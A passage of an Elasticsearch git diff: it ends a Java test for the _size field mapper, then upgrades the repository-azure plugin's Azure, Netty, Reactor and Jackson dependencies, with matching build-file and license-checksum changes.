+ ParsedDocument doc = docMapper.parse(source(b -> b.field("field", "value"))); + + boolean stored = false; + boolean points = false; + for (IndexableField field : doc.rootDoc().getFields("_size")) { + stored |= field.fieldType().stored(); + points |= field.fieldType().pointIndexDimensionCount() > 0; + } + assertTrue(stored); + assertTrue(points); + } + + public void testSizeDisabled() throws Exception { + DocumentMapper docMapper = createDocumentMapper(topMapping(SizeMappingTests::disabled)); + ParsedDocument doc = docMapper.parse(source(b -> b.field("field", "value"))); + + assertThat(doc.rootDoc().getField("_size"), nullValue()); + } + + public void testSizeNotSet() throws Exception { + DocumentMapper docMapper = createDocumentMapper(topMapping(b -> {})); + ParsedDocument doc = docMapper.parse(source(b -> b.field("field", "value"))); + + assertThat(doc.rootDoc().getField("_size"), nullValue()); + } + + public void testThatDisablingWorksWhenMerging() throws Exception { + + MapperService mapperService = createMapperService(topMapping(SizeMappingTests::enabled)); + ParsedDocument doc = mapperService.documentMapper().parse(source(b -> b.field("field", "value"))); + assertNotNull(doc.rootDoc().getField(SizeFieldMapper.NAME)); + + merge(mapperService, topMapping(SizeMappingTests::disabled)); + doc = mapperService.documentMapper().parse(source(b -> b.field("field", "value"))); + assertNull(doc.rootDoc().getField(SizeFieldMapper.NAME)); + } + +} diff --git a/plugins/repository-azure/azure-storage-blob/build.gradle b/plugins/repository-azure/azure-storage-blob/build.gradle deleted file mode 100644 index 8d9a013223ad0..0000000000000 --- a/plugins/repository-azure/azure-storage-blob/build.gradle +++ /dev/null @@ -1,47 +0,0 @@ -import org.elasticsearch.gradle.JavaClassPublicifier; - -apply plugin: 'elasticsearch.java' -apply plugin: 'com.github.johnrengelman.shadow' - -configurations { - originalJar { - transitive = false - } -} - -dependencies { - originalJar "com.azure:azure-storage-blob:${project.parent.versions.azure}" - implementation "com.azure:azure-storage-blob:${project.parent.versions.azure}" -} - -// We have to rewrite the service classes to make them public to avoid -// granting the permission "java.lang.reflect.ReflectPermission" "newProxyInPackage" -// to this plugin. -// -// There are plans to make those public in the azure sdk side, but in the meanwhile -// we just do this workaround -// https://github.com/Azure/azure-sdk-for-java/issues/12829#issuecomment-736755543 -List classesToRewrite = ['com/azure/storage/blob/implementation/AppendBlobsImpl$AppendBlobsService.class', - 'com/azure/storage/blob/implementation/BlobsImpl$BlobsService.class', - 'com/azure/storage/blob/implementation/BlockBlobsImpl$BlockBlobsService.class', - 'com/azure/storage/blob/implementation/ContainersImpl$ContainersService.class', - 'com/azure/storage/blob/implementation/DirectorysImpl$DirectorysService.class', - 'com/azure/storage/blob/implementation/PageBlobsImpl$PageBlobsService.class', - 'com/azure/storage/blob/implementation/ServicesImpl$ServicesService.class'] - -tasks.register('extractClientClasses', Copy).configure { - from({ zipTree(configurations.originalJar.singleFile) }) { - include "com/azure/storage/blob/implementation/**" - } - into project.file('build/original') -} - -def modifiedOutput = project.layout.buildDirectory.dir('modified') -def makePublic = tasks.register('makeClientClassesPublic', JavaClassPublicifier) { - dependsOn 'extractClientClasses' - classFiles = classesToRewrite - inputDir = project.layout.buildDirectory.dir('original') - outputDir = modifiedOutput -} - -sourceSets.main.output.dir(modifiedOutput, builtBy: makePublic) diff --git a/plugins/repository-azure/build.gradle b/plugins/repository-azure/build.gradle index 88ffcf4aadaba..13c41e719dedf 100644 --- a/plugins/repository-azure/build.gradle +++ b/plugins/repository-azure/build.gradle @@ -1,6 +1,6 @@ -import org.elasticsearch.gradle.MavenFilteringHack -import org.elasticsearch.gradle.info.BuildParams -import org.elasticsearch.gradle.test.InternalClusterTestPlugin +import org.elasticsearch.gradle.internal.MavenFilteringHack +import org.elasticsearch.gradle.internal.info.BuildParams +import org.elasticsearch.gradle.internal.test.InternalClusterTestPlugin import static org.elasticsearch.gradle.PropertyNormalization.DEFAULT import static org.elasticsearch.gradle.PropertyNormalization.IGNORE_VALUE @@ -22,38 +22,35 @@ esplugin { } versions << [ - 'azure': '12.9.0', - 'azureCore': '1.10.0', - 'azureCoreHttpNetty': '1.6.3', + 'azure': '12.11.1', + 'azureCore': '1.16.0', + 'azureCoreHttpNetty': '1.9.1', + 'azureAvro': '12.0.4', 'jakartaActivation': '1.2.1', 'jakartaXMLBind': '2.3.2', 'stax2API': '4.2', - 'woodstox': '6.0.2', + 'woodstox': '6.2.4', - 'reactorNetty': '0.9.12.RELEASE', - 'reactorCore': '3.3.10.RELEASE', + 'azureNetty': '4.1.63.Final', + 'reactorNetty': '1.0.6', + 'reactorCore': '3.4.5', 'reactiveStreams': '1.0.3', ] dependencies { - api project(path: 'azure-storage-blob', configuration: 'shadow') - if (isEclipse) { - /* - * Eclipse can't pick up the shadow dependency so we point it at *something* - * so it can compile things. - */ - api project(path: 'azure-storage-blob') - } api "com.azure:azure-storage-common:${versions.azure}" + api "com.azure:azure-storage-blob:${versions.azure}" api "com.azure:azure-core-http-netty:${versions.azureCoreHttpNetty}" api "com.azure:azure-core:${versions.azureCore}" + api "com.azure:azure-storage-internal-avro:${versions.azureAvro}" // jackson api "com.fasterxml.jackson.core:jackson-core:${versions.jackson}" api "com.fasterxml.jackson.core:jackson-databind:${versions.jackson}" api "com.fasterxml.jackson.core:jackson-annotations:${versions.jackson}" api "com.fasterxml.jackson.core:jackson-databind:${versions.jackson}" + api "com.fasterxml.jackson:jackson-bom:${versions.jackson}" // jackson xml api "com.fasterxml.jackson.dataformat:jackson-dataformat-xml:${versions.jackson}" @@ -65,19 +62,24 @@ dependencies { api "com.fasterxml.woodstox:woodstox-core:${versions.woodstox}" // netty - api "io.netty:netty-buffer:${versions.netty}" - api "io.netty:netty-codec-http:${versions.netty}" - api "io.netty:netty-codec-http2:${versions.netty}" - api "io.netty:netty-codec-socks:${versions.netty}" - api "io.netty:netty-codec:${versions.netty}" - api "io.netty:netty-common:${versions.netty}" - api "io.netty:netty-handler-proxy:${versions.netty}" - api "io.netty:netty-handler:${versions.netty}" - api "io.netty:netty-resolver:${versions.netty}" - api "io.netty:netty-transport:${versions.netty}" + api "io.netty:netty-buffer:${versions.azureNetty}" + api "io.netty:netty-codec:${versions.azureNetty}" + api "io.netty:netty-codec-dns:${versions.azureNetty}" + api "io.netty:netty-codec-http:${versions.azureNetty}" + api "io.netty:netty-codec-http2:${versions.azureNetty}" + api "io.netty:netty-codec-socks:${versions.azureNetty}" + api "io.netty:netty-common:${versions.azureNetty}" + api "io.netty:netty-handler:${versions.azureNetty}" + api "io.netty:netty-handler-proxy:${versions.azureNetty}" + api "io.netty:netty-resolver:${versions.azureNetty}" + api "io.netty:netty-resolver-dns:${versions.azureNetty}" + api "io.netty:netty-transport:${versions.azureNetty}" + api "io.netty:netty-transport-native-unix-common:${versions.azureNetty}" // reactor api "io.projectreactor.netty:reactor-netty:${versions.reactorNetty}" + api "io.projectreactor.netty:reactor-netty-core:${versions.reactorNetty}" + api "io.projectreactor.netty:reactor-netty-http:${versions.reactorNetty}" api "io.projectreactor:reactor-core:${versions.reactorCore}" api "org.reactivestreams:reactive-streams:${versions.reactiveStreams}" @@ -97,7 +99,7 @@ tasks.named("internalClusterTestJar").configure { restResources { restApi { - includeCore '_common', 'cluster', 'nodes', 'snapshot', 'bulk', 'count', 'indices' + include '_common', 'cluster', 'nodes', 'snapshot', 'bulk', 'count', 'indices' } } @@ -107,6 +109,7 @@ tasks.named("dependencyLicenses").configure { mapping from: /netty-.*/, to: 'netty' mapping from: /jaxb-.*/, to: 'jaxb' mapping from: /stax-.*/, to: 'stax' + mapping from: /reactor-netty-.*/, to: 'reactor-netty' mapping from: /reactive-streams.*/, to: 'reactive-streams' } @@ -240,6 +243,8 @@ tasks.named("thirdPartyAudit").configure { 'io.netty.internal.tcnative.CertificateVerifier', 'io.netty.internal.tcnative.SessionTicketKey', 'io.netty.internal.tcnative.SniHostNameMatcher', + 'io.netty.internal.tcnative.SSLSession', + 'io.netty.internal.tcnative.SSLSessionCache', // from io.netty.util.internal.Hidden (netty-common optional dependency) 'reactor.blockhound.BlockHound$Builder', @@ -248,14 +253,23 @@ tasks.named("thirdPartyAudit").configure { // it uses NIO 'io.netty.channel.kqueue.KQueue', 'io.netty.channel.kqueue.KQueueDatagramChannel', + 'io.netty.channel.kqueue.KQueueDomainSocketChannel', 'io.netty.channel.kqueue.KQueueEventLoopGroup', + 'io.netty.channel.kqueue.KQueueServerDomainSocketChannel', 'io.netty.channel.kqueue.KQueueServerSocketChannel', 'io.netty.channel.kqueue.KQueueSocketChannel', 'io.netty.channel.epoll.Epoll', 'io.netty.channel.epoll.EpollDatagramChannel', + 'io.netty.channel.epoll.EpollDomainSocketChannel', 'io.netty.channel.epoll.EpollEventLoopGroup', + 'io.netty.channel.epoll.EpollServerDomainSocketChannel', 'io.netty.channel.epoll.EpollServerSocketChannel', 'io.netty.channel.epoll.EpollSocketChannel', + 'io.netty.incubator.channel.uring.IOUring', + 'io.netty.incubator.channel.uring.IOUringDatagramChannel', + 'io.netty.incubator.channel.uring.IOUringEventLoopGroup', + 'io.netty.incubator.channel.uring.IOUringServerSocketChannel', + 'io.netty.incubator.channel.uring.IOUringSocketChannel', // from reactor.netty.http.server.HttpServer (reactor-netty) 'io.netty.handler.codec.haproxy.HAProxyMessage', @@ -265,13 +279,11 @@ tasks.named("thirdPartyAudit").configure { 'org.osgi.framework.BundleActivator', 'org.osgi.framework.BundleContext', - // from com.ctc.wstx.shaded.msv_core.driver.textui.Driver (woodstox-core) - 'com.sun.org.apache.xml.internal.resolver.Catalog', - 'com.sun.org.apache.xml.internal.resolver.tools.CatalogResolver', - 'org.slf4j.impl.StaticLoggerBinder', 'org.slf4j.impl.StaticMDCBinder', 'org.slf4j.impl.StaticMarkerBinder', + + 'com.ctc.wstx.shaded.msv_core.driver.textui.Driver', ) ignoreViolations( @@ -297,11 +309,7 @@ tasks.named("thirdPartyAudit").configure { 'javax.activation.MailcapCommandMap', 'javax.activation.MimetypesFileTypeMap', - 'reactor.core.publisher.MultiProducerRingBuffer', - 'reactor.core.publisher.RingBufferFields', 'reactor.core.publisher.Traces$SharedSecretsCallSiteSupplierFactory$TracingException', - 'reactor.core.publisher.UnsafeSequence', - 'reactor.core.publisher.UnsafeSupport' ) } boolean useFixture = false diff --git a/plugins/repository-azure/licenses/azure-core-1.10.0.jar.sha1 b/plugins/repository-azure/licenses/azure-core-1.10.0.jar.sha1 deleted file mode 100644 index 87047850d545e..0000000000000 --- a/plugins/repository-azure/licenses/azure-core-1.10.0.jar.sha1 +++ /dev/null @@ -1 +0,0 @@ -d5e1258ba153b5e27c90b7c9cad262e6fc171d24 \ No newline at end of file diff --git a/plugins/repository-azure/licenses/azure-core-1.16.0.jar.sha1 b/plugins/repository-azure/licenses/azure-core-1.16.0.jar.sha1 new file mode 100644 index 0000000000000..c338532043815 --- /dev/null +++ b/plugins/repository-azure/licenses/azure-core-1.16.0.jar.sha1 @@ -0,0 +1 @@ +4942bfa35a89a1fc9cabd18427a9b450d392215b \ No newline at end of file diff --git a/plugins/repository-azure/licenses/azure-core-http-netty-1.6.3.jar.sha1 b/plugins/repository-azure/licenses/azure-core-http-netty-1.6.3.jar.sha1 deleted file mode 100644 index 59ae7ea8c65b4..0000000000000 --- a/plugins/repository-azure/licenses/azure-core-http-netty-1.6.3.jar.sha1 +++ /dev/null @@ -1 +0,0 @@ -1c72bdc36faad65f53dd160becc38dd93a7356e2 \ No newline at end of file diff --git a/plugins/repository-azure/licenses/azure-core-http-netty-1.9.1.jar.sha1 b/plugins/repository-azure/licenses/azure-core-http-netty-1.9.1.jar.sha1 new file mode 100644 index 0000000000000..c1fbd78d70d4e --- /dev/null +++ b/plugins/repository-azure/licenses/azure-core-http-netty-1.9.1.jar.sha1 @@ -0,0 +1 @@ +b78134e2715eaef150ae3786806ff640bd0439ba \ No newline at end of file diff --git a/plugins/repository-azure/licenses/azure-storage-blob-12.11.1.jar.sha1 b/plugins/repository-azure/licenses/azure-storage-blob-12.11.1.jar.sha1 new file mode 100644 index 0000000000000..b7114857449f6 --- /dev/null +++ b/plugins/repository-azure/licenses/azure-storage-blob-12.11.1.jar.sha1 @@ -0,0 +1 @@ +ac89edaa19ee481c832970e944af16b3b772881a \ No newline at end of file diff --git a/plugins/repository-azure/licenses/azure-storage-common-12.11.1.jar.sha1 b/plugins/repository-azure/licenses/azure-storage-common-12.11.1.jar.sha1 new file mode 100644 index 0000000000000..86e795bf2b9bc --- /dev/null +++ b/plugins/repository-azure/licenses/azure-storage-common-12.11.1.jar.sha1 @@ -0,0 +1 @@ +61b336d02e1d8839d68db47d884574fe41535e04 \ No newline at end of file diff --git a/plugins/repository-azure/licenses/azure-storage-common-12.9.0.jar.sha1 b/plugins/repository-azure/licenses/azure-storage-common-12.9.0.jar.sha1 deleted file mode 100644 index f486ffca2bb46..0000000000000 --- a/plugins/repository-azure/licenses/azure-storage-common-12.9.0.jar.sha1 +++ /dev/null @@ -1 +0,0 @@ -42d0439a676e51bb1dea809c60e8a925bb07477c \ No newline at end of file diff --git a/plugins/repository-azure/licenses/azure-storage-internal-avro-12.0.4.jar.sha1 b/plugins/repository-azure/licenses/azure-storage-internal-avro-12.0.4.jar.sha1 new file mode 100644 index 0000000000000..7b086febb3673 --- /dev/null +++ b/plugins/repository-azure/licenses/azure-storage-internal-avro-12.0.4.jar.sha1 @@ -0,0 +1 @@ +39733586ba04415ce64b186e17e1f8d9e28f2972 \ No newline at end of file diff --git a/plugins/repository-azure/licenses/jackson-annotations-2.10.4.jar.sha1 b/plugins/repository-azure/licenses/jackson-annotations-2.10.4.jar.sha1 deleted file mode 100644 index 0c548bb0e7711..0000000000000 --- a/plugins/repository-azure/licenses/jackson-annotations-2.10.4.jar.sha1 +++ /dev/null @@ -1 +0,0 @@ -6ae6028aff033f194c9710ad87c224ccaadeed6c \ No newline at end of file diff --git a/plugins/repository-azure/licenses/jackson-annotations-2.12.2.jar.sha1 b/plugins/repository-azure/licenses/jackson-annotations-2.12.2.jar.sha1 new file mode 100644 index 0000000000000..8e6b8be3e084d --- /dev/null +++ b/plugins/repository-azure/licenses/jackson-annotations-2.12.2.jar.sha1 @@ -0,0 +1 @@ +0a770cc4c0a1fb0bfd8a150a6a0004e42bc99fca \ No newline at end of file diff --git a/plugins/repository-azure/licenses/jackson-databind-2.10.4.jar.sha1 b/plugins/repository-azure/licenses/jackson-databind-2.10.4.jar.sha1 deleted file mode 100644 index 27d5a72cd27af..0000000000000 --- a/plugins/repository-azure/licenses/jackson-databind-2.10.4.jar.sha1 +++ /dev/null @@ -1 +0,0 @@ -76e9152e93d4cf052f93a64596f633ba5b1c8ed9 \ No newline at end of file diff --git a/plugins/repository-azure/licenses/jackson-databind-2.12.2.jar.sha1 b/plugins/repository-azure/licenses/jackson-databind-2.12.2.jar.sha1 new file mode 100644 index 0000000000000..8e574b75a883f --- /dev/null +++ b/plugins/repository-azure/licenses/jackson-databind-2.12.2.jar.sha1 @@ -0,0 +1 @@ +5f9d79e09ebf5d54a46e9f4543924cf7ae7654e0 \ No newline at end of file diff --git a/plugins/repository-azure/licenses/jackson-dataformat-xml-2.10.4.jar.sha1 b/plugins/repository-azure/licenses/jackson-dataformat-xml-2.10.4.jar.sha1 deleted file mode 100644 index b079e3798154d..0000000000000 --- a/plugins/repository-azure/licenses/jackson-dataformat-xml-2.10.4.jar.sha1 +++ /dev/null @@ -1 +0,0 @@ -ffd80322264922e7edb6b35139ec1f2f55824156 \ No newline at end of file diff --git a/plugins/repository-azure/licenses/jackson-dataformat-xml-2.12.2.jar.sha1 b/plugins/repository-azure/licenses/jackson-dataformat-xml-2.12.2.jar.sha1 new file mode 100644 index 0000000000000..4a95dfceeb805 --- /dev/null +++ b/plugins/repository-azure/licenses/jackson-dataformat-xml-2.12.2.jar.sha1 @@ -0,0 +1 @@ +dac1d21b5fe602d492273d35eb28918a91fc5412 \ No newline at end of file diff --git a/plugins/repository-azure/licenses/jackson-datatype-jsr310-2.10.4.jar.sha1 b/plugins/repository-azure/licenses/jackson-datatype-jsr310-2.10.4.jar.sha1 deleted file mode 100644 index 33135389f24df..0000000000000 --- a/plugins/repository-azure/licenses/jackson-datatype-jsr310-2.10.4.jar.sha1 +++ /dev/null @@ -1 +0,0 @@ -de00203e6fee3493c8978a0064a3dda2e8373545 \ No newline at end of file diff --git a/plugins/repository-azure/licenses/jackson-datatype-jsr310-2.12.2.jar.sha1 b/plugins/repository-azure/licenses/jackson-datatype-jsr310-2.12.2.jar.sha1 new file mode 100644 index 0000000000000..e01942eb4ab44 --- /dev/null +++ b/plugins/repository-azure/licenses/jackson-datatype-jsr310-2.12.2.jar.sha1 @@ -0,0 +1 @@ +00012e36d12f47b4648e2cfe0b12bdcc2c4649bf \ No newline at end of file diff --git a/plugins/repository-azure/licenses/jackson-module-jaxb-annotations-2.10.4.jar.sha1 b/plugins/repository-azure/licenses/jackson-module-jaxb-annotations-2.10.4.jar.sha1 deleted file mode 100644 index ef26c940dbbe1..0000000000000 --- a/plugins/repository-azure/licenses/jackson-module-jaxb-annotations-2.10.4.jar.sha1 +++ /dev/null @@ -1 +0,0 @@ -68364602aed552c0dcfc5743b393bad95c85b009 \ No newline at end of file diff --git a/plugins/repository-azure/licenses/jackson-module-jaxb-annotations-2.12.2.jar.sha1 b/plugins/repository-azure/licenses/jackson-module-jaxb-annotations-2.12.2.jar.sha1 new file mode 100644 index 0000000000000..4283eed674744 --- /dev/null +++ b/plugins/repository-azure/licenses/jackson-module-jaxb-annotations-2.12.2.jar.sha1 @@ -0,0 +1 @@ +f226bd0766b4e81493822e8c81eaa6cab27e589f \ No newline at end of file diff --git a/plugins/repository-azure/licenses/netty-buffer-4.1.49.Final.jar.sha1 b/plugins/repository-azure/licenses/netty-buffer-4.1.49.Final.jar.sha1 deleted file mode 100644 index 14da1fbad92f1..0000000000000 --- a/plugins/repository-azure/licenses/netty-buffer-4.1.49.Final.jar.sha1 +++ /dev/null @@ -1 +0,0 @@ -8e819a81bca88d1e88137336f64531a53db0a4ad \ No newline at end of file diff --git a/plugins/repository-azure/licenses/netty-buffer-4.1.63.Final.jar.sha1 b/plugins/repository-azure/licenses/netty-buffer-4.1.63.Final.jar.sha1 new file mode 100644 index 0000000000000..d472369d69bc0 --- /dev/null +++ b/plugins/repository-azure/licenses/netty-buffer-4.1.63.Final.jar.sha1 @@ -0,0 +1 @@ +40028ce5ac7c43f1c9a1439f74637cad04013e23 \ No newline at end of file diff --git a/plugins/repository-azure/licenses/netty-codec-4.1.49.Final.jar.sha1 b/plugins/repository-azure/licenses/netty-codec-4.1.49.Final.jar.sha1 deleted file mode 100644 index 6353dc0b7ada3..0000000000000 --- a/plugins/repository-azure/licenses/netty-codec-4.1.49.Final.jar.sha1 +++ /dev/null @@ -1 +0,0 @@ -20218de83c906348283f548c255650fd06030424 \ No newline at end of file diff --git a/plugins/repository-azure/licenses/netty-codec-4.1.63.Final.jar.sha1 b/plugins/repository-azure/licenses/netty-codec-4.1.63.Final.jar.sha1 new file mode 100644 index 0000000000000..8bfbe331c55c9 --- /dev/null +++ b/plugins/repository-azure/licenses/netty-codec-4.1.63.Final.jar.sha1 @@ -0,0 +1 @@ +d4d2fccea88c80e56d59ce1053c53df0f9f4f5db \ No newline at end of file diff --git a/plugins/repository-azure/licenses/netty-codec-dns-4.1.63.Final.jar.sha1 b/plugins/repository-azure/licenses/netty-codec-dns-4.1.63.Final.jar.sha1 new file mode 100644 index 0000000000000..0d878e271dd56 --- /dev/null +++ b/plugins/repository-azure/licenses/netty-codec-dns-4.1.63.Final.jar.sha1 @@ -0,0 +1 @@ +91c445232b12e13bf6757579a39bab81e1233af5 \ No newline at end of file diff --git a/plugins/repository-azure/licenses/netty-codec-http-4.1.49.Final.jar.sha1 b/plugins/repository-azure/licenses/netty-codec-http-4.1.49.Final.jar.sha1 deleted file mode 100644 index 07651dd7f7682..0000000000000 --- a/plugins/repository-azure/licenses/netty-codec-http-4.1.49.Final.jar.sha1 +++ /dev/null @@ -1 +0,0 @@ -4f30dbc462b26c588dffc0eb7552caef1a0f549e \ No newline at end of file diff --git a/plugins/repository-azure/licenses/netty-codec-http-4.1.63.Final.jar.sha1 b/plugins/repository-azure/licenses/netty-codec-http-4.1.63.Final.jar.sha1 new file mode 100644 index 0000000000000..0279e286e318d --- /dev/null +++ b/plugins/repository-azure/licenses/netty-codec-http-4.1.63.Final.jar.sha1 @@ -0,0 +1 @@ +f8c9b159dcb76452dc98a370a5511ff993670419 \ No newline at end of file diff --git a/plugins/repository-azure/licenses/netty-codec-http2-4.1.49.Final.jar.sha1 b/plugins/repository-azure/licenses/netty-codec-http2-4.1.49.Final.jar.sha1 deleted file mode 100644 index d67715bbbe877..0000000000000 --- a/plugins/repository-azure/licenses/netty-codec-http2-4.1.49.Final.jar.sha1 +++ /dev/null @@ -1 +0,0 @@ -ca35293757f80cd2460c80791757db261615dbe7 \ No newline at end of file diff --git a/plugins/repository-azure/licenses/netty-codec-http2-4.1.63.Final.jar.sha1 b/plugins/repository-azure/licenses/netty-codec-http2-4.1.63.Final.jar.sha1 new file mode 100644 index 0000000000000..ad44612f004a3 --- /dev/null +++ b/plugins/repository-azure/licenses/netty-codec-http2-4.1.63.Final.jar.sha1 @@ -0,0 +1 @@ +294e90696d8d6e20c889511d2484b37158cb9caa \ No newline at end of file diff --git a/plugins/repository-azure/licenses/netty-codec-socks-4.1.49.Final.jar.sha1 b/plugins/repository-azure/licenses/netty-codec-socks-4.1.49.Final.jar.sha1 deleted file mode 100644 index ef90665257b09..0000000000000 --- a/plugins/repository-azure/licenses/netty-codec-socks-4.1.49.Final.jar.sha1 +++ /dev/null @@ -1 +0,0 @@ -df75527823f9fd13f6bd9d9098bd9eb786dcafb5 \ No newline at end of file diff --git a/plugins/repository-azure/licenses/netty-codec-socks-4.1.63.Final.jar.sha1 b/plugins/repository-azure/licenses/netty-codec-socks-4.1.63.Final.jar.sha1 new file mode 100644 index 0000000000000..8a7f988798303 --- /dev/null +++ b/plugins/repository-azure/licenses/netty-codec-socks-4.1.63.Final.jar.sha1 @@ -0,0 +1 @@ +97707b764c9287836dcf626dd03c81f3bbfc86c6 \ No newline at end of file diff --git a/plugins/repository-azure/licenses/netty-common-4.1.49.Final.jar.sha1 b/plugins/repository-azure/licenses/netty-common-4.1.49.Final.jar.sha1 deleted file mode 100644 index 2c0aee66a9914..0000000000000 --- a/plugins/repository-azure/licenses/netty-common-4.1.49.Final.jar.sha1 +++ /dev/null @@ -1 +0,0 @@ -927c8563a1662d869b145e70ce82ad89100f2c90 \ No newline at end of file diff --git a/plugins/repository-azure/licenses/netty-common-4.1.63.Final.jar.sha1 b/plugins/repository-azure/licenses/netty-common-4.1.63.Final.jar.sha1 new file mode 100644 index 0000000000000..54e103f1d8b5f --- /dev/null +++ b/plugins/repository-azure/licenses/netty-common-4.1.63.Final.jar.sha1 @@ -0,0 +1 @@ +e1206b46384d4dcbecee2901f18ce65ecf02e8a4 \ No newline at end of file diff --git a/plugins/repository-azure/licenses/netty-handler-4.1.49.Final.jar.sha1 b/plugins/repository-azure/licenses/netty-handler-4.1.49.Final.jar.sha1 deleted file mode 100644 index c6e2ae4fa045c..0000000000000 --- a/plugins/repository-azure/licenses/netty-handler-4.1.49.Final.jar.sha1 +++ /dev/null @@ -1 +0,0 @@ -c73443adb9d085d5dc2d5b7f3bdd91d5963976f7 \ No newline at end of file diff --git a/plugins/repository-azure/licenses/netty-handler-4.1.63.Final.jar.sha1 b/plugins/repository-azure/licenses/netty-handler-4.1.63.Final.jar.sha1 new file mode 100644 index 0000000000000..ae180d9ae4016 --- /dev/null +++ b/plugins/repository-azure/licenses/netty-handler-4.1.63.Final.jar.sha1 @@ -0,0 +1 @@ +879a43c2325b08e92e8967218b6ddb0ed4b7a0d3 \ No newline at end of file diff --git a/plugins/repository-azure/licenses/netty-handler-proxy-4.1.49.Final.jar.sha1 b/plugins/repository-azure/licenses/netty-handler-proxy-4.1.49.Final.jar.sha1 deleted file mode 100644 index 024a87fe382a6..0000000000000 --- a/plugins/repository-azure/licenses/netty-handler-proxy-4.1.49.Final.jar.sha1 +++ /dev/null @@ -1 +0,0 @@ -6a2064cc62c7d18719742e1e101199c04c66356c \ No newline at end of file diff --git a/plugins/repository-azure/licenses/netty-handler-proxy-4.1.63.Final.jar.sha1 b/plugins/repository-azure/licenses/netty-handler-proxy-4.1.63.Final.jar.sha1 new file mode 100644 index 0000000000000..bede283973185 --- /dev/null +++ b/plugins/repository-azure/licenses/netty-handler-proxy-4.1.63.Final.jar.sha1 @@ -0,0 +1 @@ +d8cbdc537d75f219c04a057b984b2f0b55c1dbff \ No newline at end of file diff --git a/plugins/repository-azure/licenses/netty-resolver-4.1.49.Final.jar.sha1 b/plugins/repository-azure/licenses/netty-resolver-4.1.49.Final.jar.sha1 deleted file mode 100644 index 986895a8ecf31..0000000000000 --- a/plugins/repository-azure/licenses/netty-resolver-4.1.49.Final.jar.sha1 +++ /dev/null @@ -1 +0,0 @@ -eb81e1f0eaa99e75983bf3d28cae2b103e0f3a34 \ No newline at end of file diff --git a/plugins/repository-azure/licenses/netty-resolver-4.1.63.Final.jar.sha1 b/plugins/repository-azure/licenses/netty-resolver-4.1.63.Final.jar.sha1 new file mode 100644 index 0000000000000..eb6858e75cc21 --- /dev/null +++ b/plugins/repository-azure/licenses/netty-resolver-4.1.63.Final.jar.sha1 @@ -0,0 +1 @@ +d07cd47c101dfa655d6d5cc304d523742fd78ca8 \ No newline at end of file diff --git a/plugins/repository-azure/licenses/netty-resolver-dns-4.1.63.Final.jar.sha1 b/plugins/repository-azure/licenses/netty-resolver-dns-4.1.63.Final.jar.sha1 new file mode 100644 index 0000000000000..9a14a2e73102b --- /dev/null +++ b/plugins/repository-azure/licenses/netty-resolver-dns-4.1.63.Final.jar.sha1 @@ -0,0 +1 @@ +f44dc8ed52ff8528a88c157879c9baffe464fa46 \ No newline at end of file diff --git a/plugins/repository-azure/licenses/netty-transport-4.1.49.Final.jar.sha1 b/plugins/repository-azure/licenses/netty-transport-4.1.49.Final.jar.sha1 deleted file mode 100644 index 175b8c84a8824..0000000000000 --- a/plugins/repository-azure/licenses/netty-transport-4.1.49.Final.jar.sha1 +++ /dev/null @@ -1 +0,0 @@ -415ea7f326635743aec952fe2349ca45959e94a7 \ No newline at end of file diff --git a/plugins/repository-azure/licenses/netty-transport-4.1.63.Final.jar.sha1 b/plugins/repository-azure/licenses/netty-transport-4.1.63.Final.jar.sha1 new file mode 100644 index 0000000000000..c41cdc86c51c8 --- /dev/null +++ b/plugins/repository-azure/licenses/netty-transport-4.1.63.Final.jar.sha1 @@ -0,0 +1 @@ +09a8bbe1ba082c9434e6f524d3864a53f340f2df \ No newline at end of file diff --git a/plugins/repository-azure/licenses/netty-transport-native-unix-common-4.1.63.Final.jar.sha1 b/plugins/repository-azure/licenses/netty-transport-native-unix-common-4.1.63.Final.jar.sha1 new file mode 100644 index 0000000000000..7b47441ef5d9a --- /dev/null +++ b/plugins/repository-azure/licenses/netty-transport-native-unix-common-4.1.63.Final.jar.sha1 @@ -0,0 +1 @@ +85bd91382ec54b300ad3ff59efccbb4fccb22a88 \ No newline at end of file diff --git a/plugins/repository-azure/licenses/reactor-core-3.3.10.RELEASE.jar.sha1 b/plugins/repository-azure/licenses/reactor-core-3.3.10.RELEASE.jar.sha1 deleted file mode 100644 index 181cb897756ed..0000000000000 --- a/plugins/repository-azure/licenses/reactor-core-3.3.10.RELEASE.jar.sha1 +++ /dev/null @@ -1 +0,0 @@ -f5787f994a9a810c0986418232e06fcf4afc1216 \ No newline at end of file diff --git a/plugins/repository-azure/licenses/reactor-core-3.4.5.jar.sha1 b/plugins/repository-azure/licenses/reactor-core-3.4.5.jar.sha1 new file mode 100644 index 0000000000000..011a1f162a537 --- /dev/null +++ b/plugins/repository-azure/licenses/reactor-core-3.4.5.jar.sha1 @@ -0,0 +1 @@ +c8adeb48f74b16c2dfb4f06a880820b9eaed50cf \ No newline at end of file diff --git a/plugins/repository-azure/licenses/reactor-netty-0.9.12.RELEASE.jar.sha1 b/plugins/repository-azure/licenses/reactor-netty-0.9.12.RELEASE.jar.sha1 deleted file mode 100644 index 92f7fafc27375..0000000000000 --- a/plugins/repository-azure/licenses/reactor-netty-0.9.12.RELEASE.jar.sha1 +++ /dev/null @@ -1 +0,0 @@ -41022546d07f1499fb9d8617bba4a1a89d3549db \ No newline at end of file diff --git a/plugins/repository-azure/licenses/reactor-netty-1.0.6.jar.sha1 b/plugins/repository-azure/licenses/reactor-netty-1.0.6.jar.sha1 new file mode 100644 index 0000000000000..7d93a719037cb --- /dev/null +++ b/plugins/repository-azure/licenses/reactor-netty-1.0.6.jar.sha1 @@ -0,0 +1 @@ +82e9508698715725c3e1882d3056cd3a743d6bfc \ No newline at end of file diff --git a/plugins/repository-azure/licenses/reactor-netty-core-1.0.6.jar.sha1 b/plugins/repository-azure/licenses/reactor-netty-core-1.0.6.jar.sha1 new file mode 100644 index 0000000000000..bcbf8c15fe60a --- /dev/null +++ b/plugins/repository-azure/licenses/reactor-netty-core-1.0.6.jar.sha1 @@ -0,0 +1 @@ +c24e7e989913d50c2ed592892e55ce1284364ac4 \ No newline at end of file diff --git a/plugins/repository-azure/licenses/reactor-netty-http-1.0.6.jar.sha1 b/plugins/repository-azure/licenses/reactor-netty-http-1.0.6.jar.sha1 new file mode 100644 index 0000000000000..f1cbbf2eb81d8 --- /dev/null +++ b/plugins/repository-azure/licenses/reactor-netty-http-1.0.6.jar.sha1 @@ -0,0 +1 @@ +6a76dd233bdb1e6dc5364ae1b5c8627c2cb0288f \ No newline at end of file diff --git a/plugins/repository-azure/licenses/woodstox-core-6.0.2.jar.sha1 b/plugins/repository-azure/licenses/woodstox-core-6.0.2.jar.sha1 deleted file mode 100644 index 